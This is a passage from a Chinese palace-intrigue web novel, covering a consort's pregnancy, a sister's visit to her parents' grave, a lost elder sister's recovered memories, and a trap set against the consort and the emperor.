云镜纱下巴抵着他胸膛没说话,许久才低低“嗯”了一声。 “不哭了,先用膳可好?” 云镜纱嗓音带着哭泣过后的沙哑绵软,“好。” 孟桓启大拇指指腹拂过云镜纱眼尾,替她擦去水光,吩咐宫人送水传膳。 丰熙去传晚膳,芳音叫人送水,尹寻春跟在她后头打下手。 水来了,孟桓启拧了帕子轻轻敷在云镜纱眼皮上,“这样会好些吗?” 眼上触感温热,舒服得云镜纱嘴角勾了勾,“嗯。” 热敷过后,孟桓启用帕子替云镜纱拭去脸上干透的泪痕。正巧晚膳到了,他牵着云镜纱入座。 盖因孟桓启今夜宿在玉华宫,晚膳比云镜纱平日里的要丰盛不少。 孟桓启替云镜纱盛了碗汤,夹起一块鱼肉,去刺后放入她碗中。 云镜纱喝了口汤,捏着筷子夹起鱼肉,刚要送入口中,忽然闻到一股强烈的腥味,冲得她胃里翻滚。 着急忙慌放下筷子,云镜纱偏首到另一侧,抚着胸口干呕。 “娘娘!” 丰熙三人齐声。 孟桓启快速起身蹲到云镜纱身旁,伸手抚她后背,眼含担忧,“怎么了?” “我……” 眼角挂着泪,云镜纱心里难受,刚抬起头说了一个字,脸色蓦地一变。 孟桓启沉着脸,“去拿水!” 芳音急急忙忙去倒了杯水。 尹寻春掉头就跑,“奴婢去请太医。” 丰熙焦急之中蓦地想起一事,眸光一顿。 “水来了!” 芳音捧着杯盏快速走来。 孟桓启接过,喂了云镜纱喝下,“怎么样,可好些了?” 云镜纱有气无力地趴在他怀里,眼尾泛红,眼睫挂泪,语调可怜,“难受。” 孟桓启皱眉瞥了眼桌上的鱼,沉着语气,“把鱼撤了。” 他俯身抱起云镜纱,走到榻边坐下,让她躺在自己怀里。 “这样可有好些?” 闻不见那源源不断的鱼腥味,云镜纱感觉心口堵着的气散了不少,点了点头。 孟桓启松了口气,“可还要喝水?” “要。” 芳音极有眼力见地奉上杯盏。 孟桓启将剩下的水喂云镜纱喝完,抱着她半躺在榻上,低声安抚,“再忍忍,太医马上就到了。” 云镜纱耷拉着眼皮,恹恹的,“嗯。” 尹寻春腿脚快,若不是怕被人发觉,恨不得一路运着轻功将太医带回来。 即便如此,何呈光到玉华宫时,依旧是气喘吁吁,险些没喘上气。 尹寻春迫不及待拉着他进去,“太医来了。” 趁着走路的短暂时间,何呈光运了运气,进殿后目不斜视跪地,“微臣何呈光拜见陛下、昭仪娘娘。” 孟桓启不说废话,“给娘娘诊脉。” 何呈光起身应了声是,手指搭上放在红木雕葡萄纹小矮桌上的白皙皓腕,细细诊脉。 过了片刻,他恭声道:“请娘娘换另一只手。” 云镜纱依言。 这次诊脉的时辰明显比方才长一些,孟桓启有些不耐,“如何?” 何呈光收手,谨慎开口,“脉搏圆滑,入盘走珠,虽月份尚浅,却是喜脉无疑。” “恭喜陛下,恭喜娘娘。” 殿内寂静,尹寻春发出一声短促的“啊”,立马捂住自己的嘴。 芳音亦是面露惊喜。 丰熙方才依稀猜到,但此刻听何呈光所言,眼里依然露了笑意。 何呈光等了须臾,没等到陛下娘娘的声音,大着胆子悄悄抬头,却见上首二人面容呆滞,一个比一个不敢置信。 他倏然一惊,紧张地咽了口唾沫。 完了,他好像又发现了些不得了的东西。 芳音欢喜地正要道喜,孟桓启蓦地抬手阻拦她的话,沉声道:“你们出去,此事先瞒着,莫要声张。” 芳音不解,尹寻春歪了歪脑袋,眼中疑惑。丰熙向来不问来由,只听命令,闻言恭声应“是”,顺手将芳音和尹寻春拉了出去。 等到殿内只剩下何呈光一个外人时,他低下头,擦了擦额头上并不存在的冷汗。 帝妃二人依旧保持沉默,大概一炷香后,云镜纱终于从脑海一片空白的状态中回过神。 目光扫过小腹,她迟疑道:“何太医会不会诊错了?” 何呈光嘴角含笑,嗓音恭恭敬敬的,“微臣方才特意诊了两只手的脉,不会有错的。” 云镜纱又呆住了。 须臾,她倒吸一口凉气,偏头看着孟桓启,“陛下,我怀孕了?” 嗓音不解中带着一丝微妙的质问:“我怎么会怀孕的?” 孟桓启也不知道。 他摁着额头稳了稳神,从眩晕的状态中挣脱,摸出腰间的瓷瓶放在矮桌上,“你看看,这药可有问题?” 何呈光双手接过,嗅了嗅又尝了尝,语调怪异,“这、这是用于男子避孕的药?” 孟桓启颔首,“这段时日,朕一直在吃这药,既已避孕,昭仪为何会有孕?” 陛下在吃避子药,昭仪娘娘知情且并不在意。 又知道一个秘密的何呈光指尖一颤,但他面色不变,倒是稳得住。 何呈光斟酌道:“这药药性温和,并非万无一失,哪怕陛下吃了,也有可能导致昭仪有孕。” 孟桓启抿唇,“昭仪身子如何?” “娘娘一向康健,只是这一胎怀上时毕竟用了药物,难免会有损伤,但只需好好调养,定能让娘娘母子均安。” 孟桓启眸色微暗,“你来负责调理娘娘的身子,务必不能让他们母子有失。” 何呈光恭声应道:“臣遵旨。” “下去吧。” 何呈光走后,云镜纱手放在尚且平坦的小腹上,喃喃自语,“我竟然有孕了?” 孟桓启圈住她,不敢用太大的力,双臂虚虚落在云镜纱身侧,嗓音发哑,“嗯,小雨,我们有孩子了。” 算算时候,应该是他们从北山猎场回来后,在长极宫那一次有的。 孟桓启垂下眼睫,眸色幽深。 这个孩子,来得有些不是时候。 第83章 云镜纱从迷茫无措的情绪中脱身,嘴角上扬,繁星似的眼眸里夹杂着显而易见的笑意,“小启哥哥,我们有孩子了。” 她眼眶泛红,嗓音轻软难掩兴奋。 看得出,能孕育一个孩子对她来说,是一件格外喜悦的事。 云镜纱拉着孟桓启的手盖在自己小腹上,含泪对他笑道:“你吃了避子药它还能降生在我腹中,说明这个孩子是上天赐予我们的礼物。” 孟桓启看着她,掌住云镜纱侧脸,缓缓低头,与她额头相抵,“是你赐给我的礼物。” “小雨。” 漆黑深沉的目光注视着眼前的姑娘,孟桓启郑重道:“我一定会保护好你和我们的孩子。” 虽不合时宜,但这是他与心爱之人的孩子。 孟桓启心中有无措,浅淡的慌乱,但更多的却是欣喜。 他竟然也要做父亲了。 他和小雨有孩子了。 一时间,孟桓启竟有些眼眶酸胀,心里像有无数朵烟花绽放。 云镜纱看了他许久,唇畔笑意盎然,“嗯。” 她双臂勾着孟桓启的脖子,兴奋地说:“我要告诉小圆,告诉她就要做姨母了。” “好。” “小启哥哥,你说它会是个女孩还是男孩?” “都好,我都喜欢。” “咱们要不要现在就取个名字?” “听你的,我回去就翻古书。” 云镜纱窝在孟桓启怀里,感受他跳动的心脏,眼眶酸软。 真好,在这个世界上除了小圆之外,她很快就要多一个亲人了。 她会努力成为合格的母亲,呵护它长大,不会让它经历父母曾经的苦难。 …… 是日大雪,天地白茫扑朔,冷风如冰刺骨。 江夫人替唐鹤原穿好大氅,顺手理了 理领子,口中絮叨,“今日风雪大,路上仔细些,记得拿好手炉,别冻着了。” 犹豫须臾,她试探道:“真不用我与你一道?” 唐鹤原摇头,“不用。娘身子不好,还是在府中吧。多年未见,我想与他们说说话。” 江夫人点头,退后一步,目光柔和,“去吧。” 唐琇站在她身侧,轻声关怀,“雪天路不好走,兄长当心些。” 唐鹤原颔首。 顿了顿,她转过身去,目光落在江夫人与唐琇身上,“娘,您与阿琇此生都会是我的家人。” 江夫人怔住,手臂刚抬起,唐鹤原已闯入雪中。 她低着头,用帕子擦了擦湿润眼眶,无奈道:“这孩子。” 语气却是欣喜的。 唐府外停了辆简朴青布马车,赶车的是唐鹤原自小用惯的全和。 等唐鹤原上了马车,全和拉扯着马缰,“公子坐稳了,驾!” 随着一声马叫,马车徐徐往城门驶去。 官道上积雪与泥土混杂,潮湿泥泞,路不好走。全和小心翼翼地驾着马车,朝公子所说的方向行进。 在他们身后,一辆不起眼的马车远远跟着。 连茱坐在马车内,不时撩起车帘子望着风雪中模糊的车影,眼中焦急。 侍女不解,“夫人,您跟着唐大人做甚?” 不止如此,这段时日夫人经常派人注意唐大人的行踪,他每日往返于唐府和大理寺,鲜少去别的地儿,今个儿听说唐大人像是要出城,立马派人准备马车出府。 连茱半阖眼睑,语气很轻,“我有很重要的事要问他。” 那日在街上听到那声“小圆”,回去之后连茱每晚都在做梦。 在她醒来的刹那,梦中场景瞬间烟消云散,只剩坐在床上怅然若失的她。 她很介意那句“小圆”,也莫名在意被叫“小圆”的唐鹤原。 分明毫无凭据,可她却想问一问他,他是不是小圆,他可识得她? 她是不是……忘了些什么? 前头的马车停了,连茱看着那个方向,问道:“方叔,你可知他们要去哪儿?” 驾车的方叔是连茱无意间救下的,自那以后便对她忠心耿耿。 平白无故跟踪朝廷官员,被人知道了着实不好,方叔嘴严,连茱便将他带上了。 方叔坐在车辕上,眯着眼瞧了会儿,“说不清,夫人,咱们还要跟着吗?” 连茱深吸一口气,对侍女道:“你在这儿候着,方叔,你送我去吧。” 方叔干脆应声,“好。” …… 把全和留在马车里,唐鹤原独自一人往前走。 当时太过仓促,唐老爷和唐夫人在离乱葬岗稍远的山上将爹娘掩埋。 时间太久,唐鹤原有些记不清了,但牢牢记得爹娘墓边长着几株野生梅花。 摸索着上了山,唐鹤原四处寻找,终于找到了地方。 土堆前立着一块木牌,坟墓两边梅花正艳,冰雪压枝,寒梅冷艳而圣洁。 唐鹤原在原地站了许久,久到露在外头的手指被风雪吹得冰冷僵硬,这才往前迈步。 她取下身后包裹,从里边拿出工具,一言不发清理坟墓上的杂草。 长指被风吹得发红,她像是毫无感觉,动作机械。 擦净爹娘的木牌,唐鹤原在坟墓边上挖出一个小坑,将大姐姐的生辰八字埋进去,立好早已准备好的木牌。 做完一切,她泄力般跪坐在地。 后背因方才的动作沁出一片热汗,可唐鹤原却觉得浑身发冷。 她抿紧唇,摆好供果酒水,取出火折子。 火光在大雪中燃得有些艰难,唐鹤原一手挡风,半趴在地点燃冥币。 微弱火光燃起,映照在唐鹤原眉眼,眼中水光跌宕。 她点了香,恭恭敬敬跪在墓前,哑声道:“爹、娘,不孝女魏沅来看你们了。” “这些年一直没来祭拜,你们可会怪我?” 唐鹤原红着眼低声道:“爹、娘,以后小圆不走了,我会一直留在京城,每年都来看望你们。” “对了,我找到小雨了。” 唐鹤原抬起头,冰雪落在脸上化为水渍,她蓦地勾唇笑起,“不对,应该是小雨找到我了。” “从小到大,我一直以为自己比小雨聪明。可没想到,她站在我面前时,我分明已经觉得她的眼睛很熟悉,却不敢去深想,与她就此错过,还是她发现了端倪,认出了我。” 唐鹤原往火堆里丢了些冥币,看着火光燃起,嘴角含笑,“爹娘,小雨现在出息了,进宫成了昭仪娘娘,给你们找了个皇帝女婿。” “她有了身孕,再过不久,我要做姨母,你们就要做外祖父外祖母了。” “昨日进宫时,小雨闹着要和我一起来,但她身子不便,硬是被姐夫劝回去了。” “爹娘,你们在天之灵,一定要保佑小雨和她肚子里的孩子平安顺遂,要是银钱不够,我再给你们烧些。” 唐鹤原又烧些不少冥币和纸元宝,低声絮絮,“我在你们旁边给大姐姐立了冢,她被舒晋那畜生带走了,这些年来也不知在哪儿,逢年过节可有人祭拜?” “往后有我和小雨在,逢年过节的,一定给你们烧香烧纸。” 最后一张冥币被扔进火里,唐鹤原静静看着,眸里也似燃着火光。 “舒家猖狂不了多久了,爹娘,我会看着他们下地狱,以告慰你们在天之灵。” 火光渐熄,唐鹤原道:“爹娘,我先走了,等舒晋死了,我再来告诉你们这个好消息。” 她对着坟墓磕了三个头,缓缓站起,一步一步朝山下走去。 大雪中,她的肩背挺直,如松如竹。 寒风卷地,灰烬飘舞。 “嘎吱”一声,枯枝被踩进雪地里,一道身影缓慢从树后走出。 方叔带着连茱追着唐鹤原而来时,瞧见了马车外守着的全和。 为了避免麻烦,方叔引开全和,连茱独自上了山。 她这些年虽然养尊处优,但未出嫁时家中也不是什么富贵人家,爬山而已,算不得难处。 何况,她也想单独问问唐鹤原“小圆”的事。 风雪大,唐鹤原的踪迹随着翩然而落的鹅毛大雪变得难以寻觅,再加上隐隐作痛的双足,连茱这一路走得分外艰难。 就在她泄气之时,蓦地瞧见皑皑白雪中的一抹艳色。 连茱眼前一亮,顺着那抹亮色寻觅过去,陡然瞧见了正跪在坟前点香的唐鹤原。 原来他是为了祭拜。 连茱不好上去打扰,便退守到一旁,准备等他结束祭拜再去询问。 她站在树后,唐鹤原的声音钻入耳中。 小圆,小雨…… 听到这两个名字的刹那,连茱心口仿佛漏了个洞,风雪灌入,她浑身冰凉,胸口作痛。 捂着胸,连茱浑身僵硬地听着唐鹤原的自言自语。 她走了,连茱僵直着身子站在原处,雪花垫在肩上,寒冰一般钻入心脏。 许久,她迈着僵冷的步伐,沉重缓慢地走向那座坟墓。 或许是在雪中站了太久,连茱步伐不稳,猛地趔趄摔倒。 膝盖重重硌在枯枝上,疼得她红了眼。 抬头的刹那,木牌上陈旧腐朽的字迹映入眼帘。 【先考魏致远,先妣潘雅文合墓】 “哗——” 风雪更大了,吹得枯枝哗哗作响,仿佛悲伤到极致的啼哭声。 连茱头疼欲裂,身子失了力,重重摔在雪地。 冰雪裹着肌肤,钻进衣领,令她浑身上下都在发抖。 她死死咬着唇瓣抵御疼痛,眼眶通红,泪水源源不断地涌下。 伴随着痛苦而来的,是尘封已久的记忆。 无数个场景在脑海中交叠放映,耳畔回荡着爹娘温柔的唤声,妹妹们甜甜地叫着姐姐。 连茱崩溃地朝着木牌爬去,颤抖的指尖抚摸木牌上刻着的两个名字。 她发出绝望般泣血的嘶吼,“爹,娘……” 她怎么能忘了,怎么能忘了! 她不是连茱,她是魏姝 ,是魏姝啊! 她是魏家长女,有温柔体贴的爹娘,有两个可爱的妹妹,她是魏姝,不是靖国公府世子的妾室连茱。 魏姝崩溃大哭。 她的两个妹妹,为了给她和爹娘报仇,一个义无反顾入宫闱,一个女扮男装进官场。 而她呢? 她在与仇人恩爱缠绵,柔情蜜意! 她甚至还给仇人生了个孩子。 为什么? 老天爷为什么要这么对她? 为什么不让她在十年前就随爹娘而去,为什么要让她活下来?! 老天爷,这一切究竟是为什么! 第84章 祭拜完爹娘后,唐鹤原回了大理寺。 回唐府时正好撞见了叶江临。 他上上下下打量的目光让唐鹤原感到莫名,不耐道:“怎么?” “你今天去了哪儿?” 唐鹤原莫名其妙,“我去哪儿还得跟你报备?” “只是觉得你心情不太好。” 这话让唐鹤原一顿。 刚祭拜完爹娘,她心情自然算不上好,但她掩饰得极好,同僚无一发觉异常,没承想竟被叶江临发现了。 腰间蓦地一紧,整个人落入温暖怀抱,后背被拍了两下。 唐鹤原一懵,怔愣间,听见少年清亮温和的嗓音。 “不高兴别憋着嘛,要是能让你开心,我给你打两下?” 唐鹤原沉默。 她推开叶江临,唇瓣微抿,嗓音是一贯的清冷,细听,却能听见一丝轻颤。 “叶江临,你是不是,喜欢我?” 叶江临:“……” 叶江临落荒而逃。 等回了自己房间,他依旧没缓过神来,瞪大的眼睛里满是不可置信。 他他他他他怎么会喜欢唐鹤原?! 他是个男人啊! 不对。 叶江临忽然惊恐地发现,听到这句话时,他的第一反应竟然是唐鹤原是个男人。 不是男人就能喜欢他吗? 也不对啊,只要是个人他就能喜欢上。 唐鹤原是人,所以,他真的喜欢唐鹤原?! 震惊惶恐茫然后,叶江临释然了。 难怪他一想到唐鹤原会娶妻就不舒服,整日提心吊胆害怕被赶出去。 哦,原来他喜欢唐鹤原啊。 兴奋喜悦后,叶江临急得团团转。 怎么办怎么办,这回该不会真的要被祖父打死了吧? …… “急冲冲的这是要去哪儿?” 丰熙伸手拦了下埋头往外走的芳音。 “啊,丰熙姐姐。” 芳音愣愣抬头,拍拍手里的信,小声道:“去给我娘送信。” 丰熙隐约知道她不算得父亲宠爱,但与生母母女情深,颔首道:“去吧,雪天路滑,路上当心。” 芳音笑着重重点头,道了别,急匆匆出了玉华宫。 丰熙收回视线,徐徐步入殿内。 云镜纱从榻上起身,吩咐道:“去备两盅汤,咱们去长极宫。” 尹寻春小心翼翼地搀扶她起身,闻言往外瞧了眼,“现在?” 丰熙也劝,“娘娘身子不便,奴婢去送即可。” “我哪有这么虚弱?” 云镜纱失笑,“喝了几日药,身子轻快多了,出去走走也无妨。” 两人劝不住,只好同意,一人去小厨房吩咐宫人熬汤,一人去备轿撵,再三强调路上小心,莫要惊了娘娘。 收拾妥当,丰熙和尹寻春一左一右护在云镜纱身侧,跟随轿撵一道去了长极宫。 快到宫门口,云镜纱瞥见一道身影从长极宫内走出,步入大雪中。 她收回视线,扶着尹寻春下了轿撵。 高德容连忙迎上,“娘娘。” 云镜纱笑应,“高公公。” 她状似不经意问:“方才好似瞧见了贵妃娘娘身边的丹莹?” 高德容点头,“正是。” 不等云镜纱开口,他主动道:“贵妃娘娘许久不见陛下,特意遣她来为陛下送点心。” “原来如此。” 云镜纱若有所思。 或许是舒裳晚有话要对孟桓启说? 她没怎么放在心上,与高德容一颔首,缓缓步入殿内。 简单对孟桓启打了声招呼,云镜纱直奔唐鹤原。 后者连忙起身扶住她,口中嗔怪,“慢些,也不怕摔了。” 云镜纱抱怨,“哪有这么娇弱啊。” 她迫不及待问:“怎么样,爹娘坟前是何状况?” 唐鹤原祭拜回来后云镜纱身子有些不适,孟桓启要她留在宫中静养,好不容易好些了,昨夜立马让孟桓启留下唐鹤原,好好与她说说话。 唐鹤原耐心地将情况告知,“明年等你生了,咱们再一起去看望他们。” 云镜纱舒了口气,轻轻点头。 她近日口腹之欲重了许多,见桌上有糕点,随手捻了一块,刚咬了一口,余光瞥见唐鹤原的神色,疑惑问:“怎么了,瞧着好像有心事?” 唐鹤原欲言又止,“叶江临他……” 上次点破了叶江临的心思,这人非但没有对她避之不及,反而越发往她面前凑,像是丝毫不畏惧世人异样的眼光和他祖父的棍棒。 弄得唐鹤原浑身都不自在。 可话一出口,她又咽了回去。 和小雨说这些儿女之事倒是无妨,但这殿里毕竟还有个男子在,被姐夫听去了着实不好。 云镜纱还未追问,被忽视已久的孟桓启蓦地出声,“小圆,朕有一物,需你带给襄阳侯。” 没有外人时,孟桓启索性跟着云镜纱一道叫小圆。 姐妹俩不约而同抬头。 唐鹤原眉间沉了几分,“姐夫尽管吩咐。” …… 还未到玉华宫,一道身影迎着风雪而来。 丹莹撑着伞,不卑不亢立在轿撵前,“御花园寒梅正艳,我家娘娘邀请昭仪一道赏花。” 云镜纱扬了扬眉,舒裳晚极少理会她,今日竟然主动邀她赏花? 尹寻春眉心下意识一皱,抬头去看云镜纱。 她秀妍脸庞笑意温和,“既是贵妃娘娘邀约,岂有不应之理?劳烦丹莹姑娘带路。” 丹莹颔首,屈了屈膝,转身在前方带路。 御花园被白雪覆盖,不比春夏的鲜妍,但寒梅映雪,倒是别有一番意境。 舒裳晚坐在亭中,三面立着屏风,为她挡去风雪。 她穿得有些厚,石榴红袄裙衬得那张雪白小脸没什么血色,怀里抱着手炉,漠然瞧着雪中红梅。 亭内燃着火,倒是不觉寒冷。 云镜纱微微福身,“贵妃娘娘。” 舒裳晚偏首看她,矜贵点了点下巴,“坐吧。” 云镜纱在她对面落座,目光落在不远处的梅花上。 “贵妃娘娘今日好兴致。” 舒裳晚一手支颐,“在宫中闷得久了,难免想出来透透气。” 云镜纱眉心微动。 今日的语气,比之从前不知好了多少。 难不成是见舒家要倒了,不想装了? 离开长极宫前,孟桓启特地告诉云镜纱,应家一案最多再有五日便能有结果,未免舒家狗急跳墙,这几日让她当心些,甚至又给她拨了几个暗卫。 心念百转千回,云镜纱笑,“娘娘说的是,一个地方待久了,总想去别处看看。” 舒裳晚抬头望着灰蒙蒙的天,嘴角扯出一抹讥诮笑意。 下颌微抬,丹莹替她倒了杯热饮。 舒裳晚两指捏着青花飞马纹杯晃了晃,语气平淡,“这饮子味道不错,最适合冬日饮用。丹莹,也给云昭仪倒一杯,让她尝尝鲜。” 热气氤氲在眉眼,为她清亮的眸光增添一层薄雾,令人无法窥探其中之意。 丹莹依言倒了杯饮子递给云镜纱,“昭仪请。” 尹寻春欲言又止。 她家姑娘身怀有孕,这贵妃无缘无故请她赏花,又莫名其妙请她喝热饮,总觉得她不安好心。 尹寻春张了张口,话音未露,云镜纱已接过杯子,吹了吹热气,缓慢喝了一口。 品味片刻,她弯唇,“入口醇香,甜而不腻,果真好喝。” 舒裳晚微微一笑,“云昭仪喜欢便好。” 她举杯,慢悠悠喝着热饮,目光虚虚落在亭外寒梅上。 往后,舒裳晚极少开口,仿佛果真是邀云镜纱赏梅的。 喝完一壶热饮,她徐徐起身,搭着丹莹的手谨慎离开。 云镜纱瞧了眼舒裳晚留在亭内的青花茶壶,内心不解。 舒裳晚今日为了什么?难不成真是赏花的? 丰熙见风雪愈大,忙道:“娘娘,咱们先回吧。” “嗯。” 二人扶起她,小心翼翼地踏上回玉华宫的路。 …… 窗户大开,哪怕屋内烧着 地龙,也夹带了冰凉之气。 外间两名侍女挨在一处烤火,小声说着话,“夫人这几日是怎么了,日夜做着小孩穿的衣物。” “怕是思念小公子。” 那侍女声音越发轻,“就算是思念小公子,可为何要做女孩的?” 另一人摇头,“自从小公子去后,夫人整日郁郁寡欢,她有心思做便是好的。” 一阵风灌入室内,吹得两人齐齐打颤,挨得越发近了。 脚步声轻轻落地,魏姝关了窗,回到榻上,重新拿起针线。 她身旁摆放着两套衣物,一套月白色,一套桃粉色。 小圆说小雨有孕了,也不知是男孩还是女孩。 魏姝刺了一针,纤细白皙的手指在红衣中穿梭。 忆起那日在唐府门前瞧见的一幕,她眼里带了笑。 她命人仔细打听过了,襄阳侯府小世子虽然名声不太好听,但并非纨绔,心地还是个好的。 也不知小圆是怎么想的。 魏姝收针,拎着怀里衣物抖动。 红衣散开,后背绣了一半的凤凰金光熠熠,赫然是件嫁衣。 魏姝爱惜地抚摸着顺滑衣料。 若是有朝一日,小雨的孩子能穿上她做的衣服,小圆能穿着她绣的嫁衣出嫁,那该有多好啊。 她好想去见她们,像年幼时那般将她们抱在怀里,听妹妹们软软地叫着“姐姐”。 笑意将将弥漫,转瞬如被冰冻的湖水凝固。 魏姝猛地变了脸色,将火红的嫁衣与孩童衣物扔在火盆中。 衣物易燃,眨眼间,她多日的成果便被火舌吞噬。 魏姝身子发颤,步子往后退跌坐在榻上,怔怔看着火光落泪。 不行,她不能和妹妹们相认,不能让她们知道她还活着。 不能让她们知道,她不仅嫁给了仇人,还给他生了孩子。 她自私地想让她这个姐姐成为她们记忆中最温柔,最美好的存在。 泪水模糊了火光,魏姝怔愣间听见外头侍女在唤“世子”。 她倏地攥紧了拳头,眼眶通红。 舒晋走了进来,目光掠过火盆中燃烧的衣物,在魏姝跟前半蹲下,动作轻柔拂去她的眼泪。 “怎么了,在烧什么?” 魏姝哑然开口,“给廷儿的衣物。” 舒晋动作一顿,他将魏姝揽入怀中,无声安抚。 魏姝松开攥紧的手,缓缓抱住他的腰,哽咽道:“夫君,我想廷儿了。” 舒晋抿唇,“茱儿,我们还会有孩子的。我会给你,给我们的孩子这世上最好的东西。” 魏姝闭眼,遮盖住眸底冷光,伏在舒晋怀里低声啜泣。 “……好。” 第85章 孟桓启来陪云镜纱用午膳。 她吃着烧鸡小声问:“小启哥哥,贵妃找你做什么?” 云镜纱这阵子食欲大涨,除了不能闻到鱼腥味,其他的倒是都能吃。 孟桓启给她夹肉,“什么都没说。” 云镜纱“哦”了一声,没再问。 午膳用完,云镜纱有些犯困,打了个哈欠。 孟桓启陪她去榻上,眼见她睡着,这才起身回长极宫。 怀孕的日子和平时也没什么不同,就是吃得多了,容易犯困。 云镜纱日日待在玉华宫中有些烦闷,但她也知这几日正值关键,能不出去还是不出得好。 心烦意乱地撂了书,云镜纱正准备回去睡会儿,芳音步履匆匆进殿,“娘娘,贵妃娘娘跟前的飞荷来了,说是贵妃娘娘邀您去和她说说话。” 云镜纱眉头拧起,前一阵邀她赏花,今个儿又请她去说话,舒裳晚到底要做什么? 芳音看了眼云镜纱的肚子,迟疑道:“娘娘身子不便,还是找个借口回绝了吧。” 云镜纱没应,指尖在书上瞧了瞧,目光看向丰熙。 丰熙与她对视一眼,没露出什么异样。 自从知道舒裳晚和孟桓启的合作关系,云镜纱待她已无从前的敌对,但她毕竟是舒家人,心里还是有那么些膈应。 舒裳晚与她一向井水不犯河水,此次竟罕见地邀她去凤仪宫,云镜纱也想知道她葫芦里卖的什么药。 忖度片刻,她摇头道:“既是贵妃娘娘相邀,那就走一趟吧。” 她给尹寻春使了个眼色,后者了然,拍了拍手,默默跟在云镜纱身后。 丰熙也去准备。 一刻钟后,云镜纱坐着轿撵去了凤仪宫。 一进门,便觉凤仪宫与之前比起来萧瑟不少,云镜纱拧了拧眉,在尹寻春的搀扶下步入内殿。 飞荷立在门前,“娘娘,昭仪娘娘到了。” 殿内响起舒裳晚平淡的嗓音,“让她进来。” 飞荷退到一旁,云镜纱看她一眼,带着丰熙三人进了殿。 纱帐落下,殿内光线略暗,云镜纱一眼瞧见坐在榻上的舒裳晚。 她身子斜斜卧着,一手支颐,浓密长睫在眼下落了层阴影,神色淡淡,仿佛一尊无欲无求的玉雕像。 云镜纱微微屈膝,“贵妃娘娘安。” 舒裳晚徐徐抬睫,冷淡道:“坐吧。” 尹寻春和芳音扶着云镜纱在下首落座。 她斟酌着开口,“不知娘娘今日寻臣妾有何要事?” 舒裳晚神色微冷,“无事便不能寻你了?” “自是可以。” 云镜纱含笑道:“只是担忧叨扰了娘娘。” 舒裳晚乜她,耷拉着眼皮,“今日唤你来,的确有一事想问。” 进入正题了。 云镜纱正襟危坐,“娘娘请问。” 下一瞬,幽幽女音回荡在殿内,“你为何要杀我的孩子?” 什么? 云镜纱惊讶,“娘娘此话从何说起?” 舒裳晚低低一笑,“前些时日,本宫不慎小产,宫中发现一只香囊,里边装了红花。后经查探,那香囊正是出自你宫中,你还有什么可说的!” 云镜纱有些理不清这话是真是假。 若是真的,舒裳晚当真有了身孕? 若是假的,现在又是唱的哪一出? 但她下意识反驳,“宫中只有臣妾与娘娘两个妃嫔,若是娘娘小产,嫌疑最大的只会是臣妾,臣妾岂会如此蠢笨?” 舒裳晚抬起冰冷的眼,“起初本宫也不信,但后来邀你赏花,你为何不敢喝本宫的饮子,是不是心里有鬼,害怕本宫害你!” 云镜纱这下是真的震惊了,眼睛微微瞪大,“臣妾……” “住嘴!” 舒裳晚蓦地将她打断,眼中有泪滑落,颤抖的身子被丹莹扶住,“老实交代,你究竟是怎么害了本宫的孩子?!” “裳晚。” 纱帐后 沉着略显苍老的声音响起,脚步声缓缓靠近,一道身影出现在云镜纱面前。 舒太后抬起阴翳的眼,“不必与她多说,拿下。” 话音甫落,殿门蓦地被人撞开,一群手持兵器,穿着太监服的人冲了进来。 丰熙拔出腰间软剑,“保护娘娘!” 随着她话音落下,几道黑影落入殿中,与刺客交战。 尹寻春手动了动,被云镜纱死死握住。 她看了眼混战的人群,又看向被护在中间的舒裳晚和舒太后。 心里微微一沉。 中计了。 …… “陛下,陛下!” 一名小太监连滚带爬地拍向了长极宫的门,脸上带泪,哭嚎道:“陛下,娘娘出事了!” 高德容正在殿内伺候,闻言瞬间皱眉。 身侧的帝王撂了折子,快步朝殿外走去,“你说什么?” 小太监涕泗横流,“昭仪娘娘方才不慎摔倒,身下流、流了好多的血,小皇子怕是保不住了,陛下您快去看看吧!” “你们怎么伺候的!” 孟桓启心下一慌,一脚踹开小太监,来不及多问,直接朝玉华宫的方向奔去。 高德容急急追出,“陛下,您等等奴才!” 他“哎哟”一声,招呼禁卫们跟上。 冬日天黑得快,天上无月无星,浓云乌压压聚集,周遭除了宫道上的宫灯外,再无光源。 风雪从孟桓启飘飞的衣袍角肆虐而过。 他的步子却慢了下来。 小雨怀孕一事,除了他和丰熙三名宫人、姓何的太医,再无人知晓,哪怕是高德容都不知情。 方才那名小太监是怎么知道的? 何况若是小雨当真出了事,来送信的也该是丰熙或者别的暗卫,怎会是一名陌生的小太监? 雪花飞至孟桓启眉心,漆黑凤眸冷如寒潭。 他蓦地转身折了回去。 黑夜中陡然响起无数道轻微呼吸声。 接连不断的人影从暗处走出,手中兵器齐齐指向孟桓启。 他神色冷漠,五指缓缓攥成拳。 …… 夜已至,魏姝放下针线,含笑看着手中衣物。 她端来烛火,将衣物全部点燃。 烟雾袅袅,魏姝擦了擦手,轻声问:“夫君呢?” 侍女迟疑,“应当还在书房议事。” 魏姝点点头表示知道,起身温声道:“他忙了这么些时日,都没好好用过饭,让厨房准备酒菜,我去给夫君送饭。” 侍女应了。 片刻后,她拎着食盒进来,“夫人,饭菜已备好了。” 魏姝伸手去拿食盒,对侍女柔柔一笑,“我自己去即可,你自去用饭吧。” 侍女尚未应声,魏姝已一手提着食盒,一手撑着伞步入风雪中。 今夜的靖国公府格外肃穆,魏姝一路畅通无阻来到舒晋书房。 她到时,舒晋正从书房外出来,惊讶道:“茱儿?” 魏姝含笑迎上,“夫君这是要出去?” 舒晋点头。 魏姝笑意微落,“前阵子廷儿去了,我整日浑浑噩噩的,今日精神爽快些,想着夫君为了公爹的事忙碌已久,想必许久没好好用过一顿饭了。” 她眼睑微垂,握紧手中食盒,“既然夫君有事,那我便回了。” “茱儿!” 舒晋叫住她,上前攥住魏姝腕子,“一顿饭而已,不急。” 离约定的时刻还有半个时辰,完全够他陪她用顿饭。 这些时日她一直郁郁寡欢,今夜难得有兴致,他不想扫兴。 魏姝露出笑容,温婉道:“好。” 舒晋携了她手,一并进了书房。 书房有一方八仙桌,魏姝将饭菜一样样摆放在桌上,又从食盒内取出一壶酒。 她倒了两杯酒,将其中一杯推到舒晋面前。 “希望廷儿来生顺遂。” 别再有他们这样的父母。 舒晋与她碰杯,一饮而尽。 魏姝眼里露出笑,也跟着把酒喝下。 她夹了筷子肚丝放在舒晋碗里,“夫君快吃。” 舒晋实则已经用过晚膳,但陪她再吃些也无妨,捏着筷子一口吃了。 魏姝又倒了两杯酒,脸颊泛起红晕,“好像许久未曾与夫君一起饮酒了。” 舒晋愧疚,空着的那只手握住魏姝,“等这阵子忙完,我一定好好陪你。” 